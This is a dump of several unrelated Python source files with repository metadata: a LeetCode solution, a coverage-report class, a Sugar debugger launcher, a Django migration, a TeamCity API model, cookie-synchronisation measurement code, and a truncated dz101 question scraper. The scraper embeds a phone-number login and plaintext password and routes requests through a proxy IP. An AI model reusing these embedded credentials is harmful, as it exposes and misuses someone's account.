blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2 values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777 values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22 values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149 values | src_encoding stringclasses 26 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 3 10.2M | extension stringclasses 188 values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
727d16455790234bc5ad2fa656380bfc5a8ff77a | 1852be4726dc1d83780740678819192277159e0f | /LC/97.py | 4b43cefdb31dc175807adac8a7da8d074298f5c2 | [
"MIT"
] | permissive | szhu3210/LeetCode_Solutions | f0a32e30df54b655fdb9c7d48622382f29781409 | 64747eb172c2ecb3c889830246f3282669516e10 | refs/heads/master | 2020-06-30T05:45:40.550146 | 2017-08-11T04:10:25 | 2017-08-11T04:10:25 | 74,389,515 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,631 | py | class Solution(object):
def isInterleave(self, s1, s2, s3):
"""
:type s1: str
:type s2: str
:type s3: str
:rtype: bool
"""
## iterative (DP) (35ms)
l1=len(s1)
l2=len(s2)
l3=len(s3)
co=[(-1,-1)]
x=0
while x<l3 and co:
nco=[]
for c in co:
if c[0]<l1-1 and s3[x]==s1[c[0]+1] and (c[0]+1,c[1]) not in nco:
nco.append((c[0]+1,c[1]))
if c[1]<l2-1 and s3[x]==s2[c[1]+1] and (c[0],c[1]+1) not in nco:
nco.append((c[0],c[1]+1))
co=nco
x+=1
return (l1-1,l2-1) in co
## recursive (keep historical record) (68ms)
# d={}
# return self.helper(s1,s2,s3,d)
# def helper(self, s1,s2,s3,d):
# if len(s1)+len(s2)!=len(s3):
# return False
# if (s1,s2,s3) in d:
# return False
# if s1=='':
# t = s2==s3
# if t:
# return True
# else:
# d[(s1,s2,s3)]=t
# return False
# if s2=='':
# t = s1==s3
# if t:
# return True
# else:
# d[(s1,s2,s3)]=t
# return False
# t1 = self.helper(s1[1:],s2,s3[1:],d) if s3[0]==s1[0] else False
# if t1:
# return True
# t2 = self.helper(s1,s2[1:],s3[1:],d) if s3[0]==s2[0] else False
# if t2:
# return True
# d[(s1,s2,s3)]=False
# return False | [
"szhu@email.arizona.edu"
] | szhu@email.arizona.edu |
ec1b3f7c328d034d94959ab8c0c4ca7566c4ba57 | 03f1560cedc273f99d64a93224fe7a2211aa5680 | /src/vsc/report/coverage_report.py | 510e26b55a5197191af6e48a1e4d499269a02eb5 | [
"Apache-2.0"
] | permissive | cmarqu/pyvsc | 9be19fbcd3df37a406ecaa1cdf46b5209e9e9866 | c7ff708256b7cdce0eccab8b7d6e2037edbdc5fa | refs/heads/master | 2021-06-14T07:19:25.381354 | 2020-04-08T01:50:49 | 2020-04-08T01:50:49 | 254,485,300 | 0 | 0 | Apache-2.0 | 2020-04-09T21:47:58 | 2020-04-09T21:47:57 | null | UTF-8 | Python | false | false | 1,100 | py | '''
Created on Mar 25, 2020
@author: ballance
'''
from typing import List
class CoverageReport(object):
"""Coverage report in object-model form. Converted to text for display"""
def __init__(self):
self.covergroups : List['CoverageReport.Covergroup'] = []
class Coveritem(object):
def __init__(self, name):
self.name = name
self.coverage = 0.0
class Covergroup(Coveritem):
def __init__(self, name : str, is_type : bool):
CoverageReport.Coveritem.__init__(self, name)
self.is_type = is_type
self.covergroups = []
self.coverpoints = []
self.crosses = []
class Coverpoint(Coveritem):
def __init__(self, name : str):
CoverageReport.Coveritem.__init__(self, name)
self.bins = []
class Coverbin(Coveritem):
def __init__(self, name : str, n_hits):
CoverageReport.Coveritem.__init__(self, name)
self.n_hits = n_hits
| [
"matt.ballance@gmail.com"
] | matt.ballance@gmail.com |
21c40f16baa986546f9ac952a9717fba5b578383 | 8e576efb1b76a038cf7e7ec631eb33db9f1c0155 | /continue_debug.py | 9ca606d666a9cec932b2851b03fb61c42c2edf8a | [] | no_license | sugar-activities/4378-activity | 779ec91bb60f05c617edb5b5393fe95b454a9b71 | eedab96fc1bf541983eb66f0aaf417d767cc0df7 | refs/heads/master | 2021-01-19T23:14:24.238128 | 2017-04-21T05:52:23 | 2017-04-21T05:52:23 | 88,937,226 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,823 | py | #!/usr/bin/env python
#
# Copyright (C) 2007, Red Hat, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from __future__ import with_statement
import os
import sys
#debug tool to analyze the activity environment
# Initialize logging.
import logging
from pydebug_logging import _logger, log_environment
_logger.setLevel(logging.DEBUG)
from sugar.activity import activityfactory
from sugar.bundle.activitybundle import ActivityBundle
#define the interface with the GUI
from Rpyc import *
try:
c = SocketConnection('localhost')
db = c.modules.pydebug.pydebug_instance
except AttributeError:
print('cannot connect to localhost')
except e:
print(e[1])
assert False
#define interface with the command line ipython instance
from IPython.core import ipapi
ip = ipapi.get()
global __IPYTHON__
try:
__IPYTHON__
print('IPTHON is defined')
except:
__IPYTHON__ = ip
o = ip.options
o.xmode = db.traceback
def edit_glue(self,filename,linenumber):
_logger.debug('position to editor file:%s. Line:%d'%(filename,linenumber))
ip.set_hook('editor',edit_glue)
def sync_called(self,filename,line,col):
print('synchronize called. file:%s. line:%s. Col:%s'%(filename,line,col))
ip.set_hook('synchronize_with_editor',sync_called)
#get the information about the Activity we are about to debug
child_path = db.child_path
_logger.debug('child path: %s'%child_path)
print('child path starting activity: %s'%child_path)
go_cmd = 'run -d -b %s %s'%(os.path.join(db.pydebug_path,'bin','start_debug.py'),child_path)
_logger.debug('defining go: %s'%go_cmd)
ip.user_ns['go'] = go_cmd
_logger.debug('pydebug home: %s'%db.debugger_home)
path = child_path
pydebug_home = db.debugger_home
os.environ['PYDEBUG_HOME'] = pydebug_home
os.chdir(path)
os.environ['SUGAR_BUNDLE_PATH'] = path
_logger.debug('sugar_bundle_path set to %s'%path)
#set up module search path
sys.path.insert(0,path)
activity = ActivityBundle(path)
cmd_args = activityfactory.get_command(activity)
_logger.debug('command args:%r'%cmd_args)
bundle_name = activity.get_name()
bundle_id = activity.get_bundle_id()
#need to get activity root, but activity bases off of HOME which some applications need to change
#following will not work if storage system changes with new OS
#required because debugger needs to be able to change home so that foreign apps will work
activity_root = os.path.join('/home/olpc/.sugar/default/',bundle_id)
os.environ['SUGAR_ACTIVITY_ROOT'] = activity_root
_logger.debug('sugar_activity_root set to %s'%activity_root)
#following is useful for its side-effects
info = activityfactory.get_environment(activity)
_logger.debug("Command to execute:%s."%cmd_args[0])
if not cmd_args[0].startswith('sugar-activity'):
target = os.path.join(pydebug_home,os.path.basename(cmd_args[0]))
with open(target,'w') as write_script_fd:
with open(cmd_args[0],'r') as read_script_fd:
for line in read_script_fd.readlines():
if line.startswith('exec') or line.startswith('sugar-activity'):
pass
else:
write_script_fd.write(line)
line = 'export -p > %s_env\n'%target
write_script_fd.write(line) #write the environment variables to another file
write_script_fd.close()
os.chmod(target,0755)
os.system(target)
_logger.debug('writing env script:%s'%target)
#read the environment back into the current process
with open('%s_env'%target,'r') as env_file:
env_dict = {}
for line in env_file.readlines():
if not line.startswith('export'):
pass
payload = line.split()[1]
pair = payload.split('=')
if len(pair)> 1:
key = pair[0]
value = pair[1]
env_dict[key] = value
_logger.debug('reading environment. %s => %s'%(key,value,))
os.environ = env_dict
more_args = ['-a',bundle_name,'-b',bundle_id]
sys.argv = cmd_args[:2] + more_args
_logger.debug('about to call main.main() with args %r'%sys.argv)
log_environment()
from sugar.activity import main
main.main()
| [
"ignacio@sugarlabs.org"
] | ignacio@sugarlabs.org |
42464cf07abf0758db1a5c82e682019c368ab0cf | 2e50af6e12bf1c815c8efb3695a5bb41507d66bd | /ppomppu/crawling_data/migrations/0001_initial.py | 23053b1d9b999d1506fdd26719ba032e71a32c7e | [] | no_license | KimDoKy/Ppomppu_check | e5fe57ba2bed84e4236742bfc4352460b7313f89 | b7d09ac1ab46d051636f54b5890f190b3ad97419 | refs/heads/master | 2022-12-15T10:42:10.717898 | 2021-06-22T12:46:20 | 2021-06-22T12:46:20 | 167,160,601 | 2 | 1 | null | 2022-12-08T01:48:49 | 2019-01-23T10:01:49 | JavaScript | UTF-8 | Python | false | false | 871 | py | # Generated by Django 2.1.5 on 2019-01-30 14:50
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CrawlingData',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.TextField()),
('category', models.CharField(max_length=10)),
('write_date', models.CharField(max_length=10)),
('detail_link', models.URLField()),
('prod_image', models.URLField(blank=True, null=True)),
('crawling_data', models.DateTimeField(auto_now_add=True)),
('status', models.BooleanField(default=False)),
],
),
]
| [
"makingfunk0@gmail.com"
] | makingfunk0@gmail.com |
d64e9569c2249f8d5cf47948bb273030c95f0a6c | a14b3e43705d74da97451de8663e9a98c088aec3 | /dohq_teamcity/models/vcs_roots.py | 1fe9c882557685c3fed4ad0ab2c3b8e4d637f5b0 | [
"MIT"
] | permissive | devopshq/teamcity | b5a36d6573cdde2f7c72e77a8e605198a7c7124d | 7a73e05c0a159337ed317f8b8d8072e478a65ca6 | refs/heads/develop | 2023-01-16T07:06:07.514297 | 2022-12-30T10:24:07 | 2022-12-30T10:24:07 | 153,228,762 | 29 | 13 | MIT | 2023-09-08T08:49:56 | 2018-10-16T05:42:15 | Python | UTF-8 | Python | false | false | 3,982 | py | # coding: utf-8
from dohq_teamcity.custom.base_model import TeamCityObject
# from dohq_teamcity.models.vcs_root import VcsRoot # noqa: F401,E501
class VcsRoots(TeamCityObject):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'count': 'int',
'href': 'str',
'next_href': 'str',
'prev_href': 'str',
'vcs_root': 'list[VcsRoot]'
}
attribute_map = {
'count': 'count',
'href': 'href',
'next_href': 'nextHref',
'prev_href': 'prevHref',
'vcs_root': 'vcs-root'
}
def __init__(self, count=None, href=None, next_href=None, prev_href=None, vcs_root=None, teamcity=None): # noqa: E501
"""VcsRoots - a model defined in Swagger""" # noqa: E501
self._count = None
self._href = None
self._next_href = None
self._prev_href = None
self._vcs_root = None
self.discriminator = None
if count is not None:
self.count = count
if href is not None:
self.href = href
if next_href is not None:
self.next_href = next_href
if prev_href is not None:
self.prev_href = prev_href
if vcs_root is not None:
self.vcs_root = vcs_root
super(VcsRoots, self).__init__(teamcity=teamcity)
@property
def count(self):
"""Gets the count of this VcsRoots. # noqa: E501
:return: The count of this VcsRoots. # noqa: E501
:rtype: int
"""
return self._count
@count.setter
def count(self, count):
"""Sets the count of this VcsRoots.
:param count: The count of this VcsRoots. # noqa: E501
:type: int
"""
self._count = count
@property
def href(self):
"""Gets the href of this VcsRoots. # noqa: E501
:return: The href of this VcsRoots. # noqa: E501
:rtype: str
"""
return self._href
@href.setter
def href(self, href):
"""Sets the href of this VcsRoots.
:param href: The href of this VcsRoots. # noqa: E501
:type: str
"""
self._href = href
@property
def next_href(self):
"""Gets the next_href of this VcsRoots. # noqa: E501
:return: The next_href of this VcsRoots. # noqa: E501
:rtype: str
"""
return self._next_href
@next_href.setter
def next_href(self, next_href):
"""Sets the next_href of this VcsRoots.
:param next_href: The next_href of this VcsRoots. # noqa: E501
:type: str
"""
self._next_href = next_href
@property
def prev_href(self):
"""Gets the prev_href of this VcsRoots. # noqa: E501
:return: The prev_href of this VcsRoots. # noqa: E501
:rtype: str
"""
return self._prev_href
@prev_href.setter
def prev_href(self, prev_href):
"""Sets the prev_href of this VcsRoots.
:param prev_href: The prev_href of this VcsRoots. # noqa: E501
:type: str
"""
self._prev_href = prev_href
@property
def vcs_root(self):
"""Gets the vcs_root of this VcsRoots. # noqa: E501
:return: The vcs_root of this VcsRoots. # noqa: E501
:rtype: list[VcsRoot]
"""
return self._vcs_root
@vcs_root.setter
def vcs_root(self, vcs_root):
"""Sets the vcs_root of this VcsRoots.
:param vcs_root: The vcs_root of this VcsRoots. # noqa: E501
:type: list[VcsRoot]
"""
self._vcs_root = vcs_root
| [
"allburov@gmail.com"
] | allburov@gmail.com |
defa0295f0381cbdb2f43c562eabaa220ee5df58 | f8e8d0e3820eb6fd25d3ce621686316ce196c4d0 | /Cookie Synchronization/ccs_sync_measurements.py | 641962026495bda938f5f99f4b04cc4b779b6d14 | [
"MIT"
] | permissive | amirunpri2018/Web-Tracking-in-Indian-Partisan-News-Websites | 511b0345fde3cd01473f4918c9e6b82d5bc8c20e | f68c4ae011a499c0519bed0b0cb953a12f438902 | refs/heads/main | 2023-04-29T12:31:41.879296 | 2021-05-24T19:27:23 | 2021-05-24T19:27:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,894 | py | '''
This is the primary code for computing cookie-synchronization across different pairs of websites within each crawl
'''
import extract_cookie_ids
import extract_id_knowledge
import census_util
import find_site_leaning
import classify_domains
from collections import defaultdict
import sqlite3 as lite
import queue
import re
import os
import numpy
import csv
# Global Aggregation Variables
global_known_ids = {}
global_id_to_domain_map = defaultdict(list)
global_id_to_cookie_map = defaultdict(list)
# Path of the OpenWPM Dara
DATA_DIR = os.path.join(os.path.abspath(os.pardir),'OpenWPM Crawls')
# BFS HOP ANALYSIS
# for a given domain, returns a sorted list of sites within <hops> steps away in the sync graph
def build_hop_neighborhood(seed_domain, hop, domain_to_id, id_to_domain):
domains_explored = set() # list of domains we've visited
search_queue = queue.Queue() # list of the sites that we'll be visiting
search_queue.put((seed_domain, 0)) # seeds the search with the initial domain
# performs the BFS neighborhood search
while not search_queue.empty():
curr_domain, curr_depth = search_queue.get()
# break the search if the nodes are too far away
if curr_depth > hop:
break
# don't explore the node if we've already seen it
if curr_domain in domains_explored:
continue
domains_explored.add(curr_domain)
# don't expand out to neighbors if we are at the edge of the neighborhood
if curr_depth == hop:
continue
# update the search queue
for cookie_id in domain_to_id[curr_domain]:
for domain in id_to_domain[cookie_id]:
search_queue.put((domain, curr_depth + 1))
neighborhood = list(domains_explored)
neighborhood.sort()
return neighborhood
# OVERALL COOKIE SYNC SCRIPT
# prints off the relevant statistics for the cookie syncing studies, given two crawl databases
# <db_to_analyze> specifies whether to extract from db1 or db2
def output_sync_measurements(db1, visit_id1, db2, visit_id2, db_to_analyze=1):
global global_known_ids
global global_id_to_domain_map
global global_id_to_cookie_map
print("Extracting persistent identifiers from each crawl...")
# extract the cookie ids on a per-database basis
cookies_db1 = extract_cookie_ids.extract_persistent_ids_from_dbs([db1], visit_id1)
cookies_db2 = extract_cookie_ids.extract_persistent_ids_from_dbs([db2], visit_id2)
print("Grabbing cookies...")
# get the cookies that appear to be consistent ids and extract their values from db1
id_cookies = extract_cookie_ids.extract_common_id_cookies([cookies_db1, cookies_db2])
if db_to_analyze == 1:
domain_to_fp_map = census_util.build_domain_map(db1, visit_id1)
known_ids = extract_cookie_ids.extract_known_cookies_from_db(db1, id_cookies, visit_id1)
else:
domain_to_fp_map = census_util.build_domain_map(db2, visit_id2)
known_ids = extract_cookie_ids.extract_known_cookies_from_db(db2, id_cookies, visit_id2)
# remove known opt-out cookie strings
for key in known_ids.keys():
if (known_ids[key] == '0' \
or known_ids[key] == '00000000-0000-0000-0000-000000000000' \
or known_ids[key] == '0000000000000000' \
or known_ids[key] == 'AAAAAAAAAAAAAAAAAAAAAA'):
del known_ids[key]
# Creating Global version for known_ids
for key in known_ids.keys():
if key not in global_known_ids.keys():
global_known_ids[key] = []
global_known_ids[key].append(known_ids[key])
else:
if known_ids[key] not in global_known_ids[key]:
global_known_ids[key].append(known_ids[key])
global_id_to_cookie_map = extract_cookie_ids.map_list_of_ids_to_cookies(global_known_ids)
print("Build mapping between cookies, domains, and first parties...")
# build the three maps that are most fundamental to the analysis
id_to_cookie_map = extract_cookie_ids.map_ids_to_cookies(known_ids)
id_to_cookie_map_pruned = census_util.prune_list_dict(id_to_cookie_map)
if db_to_analyze == 1:
id_to_domain_map = extract_id_knowledge.build_id_knowledge_dictionary(defaultdict(list), id_to_cookie_map, db1, visit_id1)
global_id_to_domain_map = extract_id_knowledge.build_id_knowledge_dictionary(global_id_to_domain_map, global_id_to_cookie_map, db1, visit_id1)
else:
id_to_domain_map = extract_id_knowledge.build_id_knowledge_dictionary(defaultdict(list), id_to_cookie_map, db2, visit_id2)
global_id_to_domain_map = extract_id_knowledge.build_id_knowledge_dictionary(global_id_to_domain_map, global_id_to_cookie_map, db2, visit_id2)
id_to_domain_map = census_util.prune_list_dict(id_to_domain_map)
domain_to_id_map = extract_id_knowledge.map_domains_to_known_ids(id_to_domain_map)
domain_to_id_map_pruned = census_util.prune_list_dict(domain_to_id_map)
print("Dumping results...")
# ID and # of domains with knowledge of it
id_to_domain_counts = census_util.sort_tuples([(key, len(id_to_domain_map[key])) for key in id_to_domain_map])
# print(id_to_domain_counts)
id_to_dm = list()
for x in id_to_domain_counts:
id_to_dm.append(x[1])
# print(str(x[0]) + "\t" + str(x[1]))
# Domain and IDs that it has knowledge of:")
domain_to_id_counts = census_util.sort_tuples([(key, len(domain_to_id_map[key])) for key in domain_to_id_map])
# print(domain_to_id_counts)
dm_to_id = list()
for domain, count in domain_to_id_counts:
neigh1 = build_hop_neighborhood(domain, 1, domain_to_id_map, id_to_domain_map)
depth1 = len(neigh1)
num_doms1 = len(census_util.get_values_from_keys(neigh1, domain_to_fp_map))
neigh2 = build_hop_neighborhood(domain, 2, domain_to_id_map, id_to_domain_map)
depth2 = len(neigh2)
num_doms2 = len(census_util.get_values_from_keys(neigh2, domain_to_fp_map))
dm_to_id.append(count)
# print(str(domain) + "\t" + str(count) + "\t" + str(depth1) + "\t" + str(num_doms1) + "\t" + str(depth2) + "\t" + str(num_doms2))
a = str(len(id_to_cookie_map))
b = str(len(known_ids))
c = str(len(id_to_domain_map))
id_cookies_in_sync = [cookie for key in id_to_domain_map for cookie in id_to_cookie_map[key]]
d = str(len(list(set(id_cookies_in_sync))))
e = str(len(domain_to_id_map))
if len(dm_to_id) == 0:
f = "0 | 0 | 0 | 0 "
else:
f = str(min(dm_to_id)) + " | " + str(round(numpy.mean(dm_to_id), 2)) + ' | ' + str(round(numpy.median(dm_to_id), 2)) + " | " + str(max(dm_to_id))
if len(id_to_dm) == 0:
g = "0 | 0 | 0 | 0 "
else:
g = str(min(id_to_dm)) + " | " + str(round(numpy.mean(id_to_dm), 2)) + ' | ' + str(round(numpy.median(id_to_dm), 2)) + " | " + str(max(id_to_dm))
return a, b, c, d, e, f, g
# The below codes does the same things as done by output_sync_measurements() function
# and produces an aggregate value for all website pairs
if __name__ == "__main__":
# Enter location of the file (crawl_file.sqlite) currently being run
Stateful_Crawl = os.path.join(DATA_DIR, 'crawl-data_stateful_homepage1.sqlite')
data_folder_path = os.path.join(os.path.abspath(os.pardir))
# Enter name of the political groups being studied currently (Eg. LEFT-RIGHT)
file_path = os.path.join(os.path.join(data_folder_path, 'Cookie Synchronization Analysis'), 'CS RIGHT-RIGHT Analysis.csv')
writer = csv.writer(open(file_path, 'w', newline=''))
writer.writerow(['Website1', 'Leaning_of_Website1', 'Website2', 'Leaning_of_Website2', 'No_of_IDs', 'No_of_ID_Cookies', 'No_of_IDs_in_Sync',
'No_of_ID_Cookies_in_Sync', 'No_of_Domains_in_Sync', 'IDs_known_per_Party (Min | Mean | Median | Max)',
'Parties_knowing_an_ID (Min | Mean | Median | Max)'])
conn = lite.connect(Stateful_Crawl)
cur = conn.cursor()
# Choosing website pairs to dtudy once-by-onne
for site1 in range(1, 123):
for res in cur.execute('SELECT arguments FROM crawl_history'+' WHERE visit_id = '+str(site1)):
site1_url = str(res[0]).split(',')[0][9:-1]
site1_leaning = find_site_leaning.get_leaning(site1_url)
if site1_leaning not in ['RIGHT']: # ['RIGHT', 'LEFT', 'CENTRE']:
continue
for site2 in range(site1+1, 124):
print(site1)
for res in cur.execute('SELECT arguments FROM crawl_history'+' WHERE visit_id = '+str(site2)):
site2_url = str(res[0]).split(',')[0][9:-1]
site2_leaning = find_site_leaning.get_leaning(site2_url)
if site2_leaning not in ['RIGHT']: # ['RIGHT', 'LEFT', 'CENTRE']:
continue
# print(site1, site1_url, site2, site2_url)
a, b, c, d, e, f, g = output_sync_measurements(Stateful_Crawl, site1, Stateful_Crawl, site2)
writer.writerow([site1_url, site1_leaning, site2_url, site2_leaning, a, b, c, d, e, f, g])
# Compute same things as above but this time for global variables
global_id_to_domain_map = census_util.prune_list_dict(global_id_to_domain_map)
global_domain_to_id_map = extract_id_knowledge.map_domains_to_known_ids(global_id_to_domain_map)
global_id_to_domain_counts = census_util.sort_tuples([(key, len(global_id_to_domain_map[key])) for key in global_id_to_domain_map])
print(global_id_to_domain_counts)
global_id_to_dm = list()
for x in global_id_to_domain_counts:
global_id_to_dm.append(x[1])
print(str(x[0]) + ", " + str(x[1]))
global_domain_to_id_counts = census_util.sort_tuples([(key, len(global_domain_to_id_map[key])) for key in global_domain_to_id_map])
global_dm_to_id = list()
for domain, count in global_domain_to_id_counts:
global_dm_to_id.append(count)
global_id_cookies_in_sync = [cookie for key in global_id_to_domain_map for cookie in global_id_to_cookie_map[key]]
fp, tp = classify_domains.get_fp_tp_counts(global_domain_to_id_map)
print("\n===========================================================================================\n")
print("\n################################## ID TO COOKIE MAP #######################################\n")
print(global_id_to_cookie_map)
print("\n===========================================================================================\n")
print("\n===========================================================================================\n")
print("\n###################################### KNOWN IDs ##########################################\n")
print(global_known_ids)
print("\n===========================================================================================\n")
print("\n===========================================================================================\n")
print("\n################################## ID TO DOMAIN MAP #######################################\n")
print(global_id_to_domain_map)
print("\n===========================================================================================\n")
print("\n===========================================================================================\n")
print("\n################################## DOMAIN TO ID MAP #######################################\n")
print(global_domain_to_id_map)
print("\n===========================================================================================\n")
# AGGREGATED STATS
print("\n\n\n===========================================================================================")
print("\nAggregated Summary statistics:")
print("NUMBER OF IDs: " + str(len(global_id_to_cookie_map)))
print("NUMBER OF ID COOKIES: " + str(len(global_known_ids)))
print("NUMBER OF IDs IN SYNCS: " + str(len(global_id_to_domain_map)))
print("NUMBER OF ID COOKIES IN SYNC: " + str(len(list(set(global_id_cookies_in_sync)))))
print("NUMBER OF DOMAINS IN SYNC: " + str(len(global_domain_to_id_map)))
print("NUMBER OF FP DOMAINS IN SYNC: " + str(fp))
print("NUMBER OF TP DOMAINS IN SYNC: " + str(tp))
print(" Min | Mean | Median | Max")
print("IDs KNOWN PER PARTY : " + str(min(global_dm_to_id)) + " | " + str(round(numpy.mean(global_dm_to_id), 2)) + " | " + str(round(numpy.median(global_dm_to_id), 2)) + " | " + str(max(global_dm_to_id)))
print("PARTIES KNOWING AN ID : " + str(min(global_id_to_dm)) + " | " + str(round(numpy.mean(global_id_to_dm), 2)) + " | " + str(round(numpy.median(global_id_to_dm), 2)) + " | " + str(max(global_id_to_dm)))
print("\n===========================================================================================\n\n\n")
| [
"noreply@github.com"
] | amirunpri2018.noreply@github.com |
4614138089e9786f27b020db0dca4e5c32f2cf16 | f160d992d0ea5fa4e36af0025b5637c8962f2a29 | /dz101_spider/questions/mini_spider/dz101_question_mini_spider.py | f38e3cf331ad1a52bb4a38d8cdce2becab852b51 | [] | no_license | Zachypentakill/Afanti_tiku | 369dde43a32cecb136eb1207bf4223f6decd9843 | aebee5b3d8dce76f95620cb52fda5a0f19965945 | refs/heads/master | 2021-07-11T15:59:03.099600 | 2017-10-11T10:27:43 | 2017-10-11T10:27:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,615 | py | # -*- coding: utf-8 -*-
import asyncio
import logging
import json
from achihuo_mini.async_loop import AsyncLoop
from achihuo_mini.item import Item
from afanti_tiku_lib.utils import md5_string
from afanti_tiku_lib.dbs.mysql_pool import CommonMysql
from afanti_tiku_lib.dbs import html_archive
from afanti_tiku_lib.dbs.execute import execute
from afanti_tiku_lib.html.extract import get_html_element
from adsl_server.proxy import Proxy
from login import login
LOGGING_FORMAT = '%(asctime)-15s:%(levelname)s: %(message)s'
logging.basicConfig(format=LOGGING_FORMAT, level=logging.INFO,
filename='working/achihuo_mini.log', filemode='a')
mysql = CommonMysql('html_archive2')
mysql_conn = mysql.connection()
_proxy = Proxy()
INFOS = (
{'key': '初中语文', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 189, 'subj': '初中语文', 'aft_subj_id': 1,},
{'key': '初中数学', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 193, 'subj': '初中数学', 'aft_subj_id': 2,},
{'key': '初中英语', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 194, 'subj': '初中英语', 'aft_subj_id': 3,},
{'key': '初中物理', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 195, 'subj': '初中物理', 'aft_subj_id': 5,},
{'key': '初中化学', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 196, 'subj': '初中化学', 'aft_subj_id': 6,},
{'key': '初中生物', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 197, 'subj': '初中生物', 'aft_subj_id': 9,},
{'key': '初中政治', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 198, 'subj': '初中政治', 'aft_subj_id': 10,},
{'key': '初中历史', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 199, 'subj': '初中历史', 'aft_subj_id': 8,},
{'key': '初中地理', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 200, 'subj': '初中地理', 'aft_subj_id': 7,},
{'key': '高中语文', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 109, 'subj': '高中语文', 'aft_subj_id': 21,},
{'key': '高中数学', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 161, 'subj': '高中数学', 'aft_subj_id': 22,},
{'key': '高中英语', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 165, 'subj': '高中英语', 'aft_subj_id': 23,},
{'key': '高中物理', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 166, 'subj': '高中物理', 'aft_subj_id': 25,},
{'key': '高中化学', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 167, 'subj': '高中化学', 'aft_subj_id': 26,},
{'key': '高中生物', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 168, 'subj': '高中生物', 'aft_subj_id': 29,},
{'key': '高中政治', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 169, 'subj': '高中政治', 'aft_subj_id': 30,},
{'key': '高中历史', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 170, 'subj': '高中历史', 'aft_subj_id': 28,},
{'key': '高中地理', 'grade': '全部', 'limit': 100, 'skip':0, 'subj_id': 171, 'subj': '高中地理', 'aft_subj_id': 27,},
)
PARAM = ('Key={key}&Subject={subj}&QuestionTypes=&Difficulty=&Year='
'&Grade={grade}&Type=&Area=&subject_id={subj_id}'
'&Limit={limit}&Skip={skip}')
INTERNAL = 2 * 24 * 60 * 60
class Dz101QuestionMiniSpider(AsyncLoop):
NAME = 'dz101_question_mini_spider'
def __init__(self):
super(Dz101QuestionMiniSpider, self).__init__(concurrency=2, cache_backend='ssdb')
self.cookies = login('15542652940', 'www888xxx')
async def run(self):
for info in INFOS:
asyncio.ensure_future(self.get_pages(info))
async def get_pages(self, info):
no_new_question = 0
page_num = 0
N = 0
while True:
if no_new_question > 30:
no_new_question = 0
page_num = 0
await asyncio.sleep(INTERNAL)
continue
ninfo = dict(info)
ninfo['skip'] = page_num * 100
item = make_page_item(ninfo)
logging.info('[get_pages]: {}, {}'.format(info['key'], page_num))
item.proxy = 'http://' + '119.7.227.133:9990' # _proxy.get(server_id=105)
item.cookies = self.cookies
with await self.lock:
await asyncio.sleep(10)
resp = await self.async_web_request(item, check_html=check_pg)
if not (resp and resp.content):
continue
html_string = resp.text
if not N:
s = html_string.rfind('</div>|*|') + len('</div>|*|')
e = html_string.find('|', s)
qs_num = html_string[s:e]
if not qs_num:
logging.warn('not qs_num: {}'.format(
json.dumps(item.json(), ensure_ascii=False)))
continue
N = int(qs_num) + 100
if page_num * 100 > N:
await asyncio.sleep(INTERNAL)
continue
questions = get_html_element(
'<div [^<>]*class="Problems_item"',
html_string,
regex=True
)
has_qs = False
for qs in questions:
s = qs.find('<tt>') + 4
e = qs.find('</tt>')
qid = qs[s:e]
hkey = 'dz101_question_{}'.format(qid)
if is_archived(hkey):
continue
has_qs = True
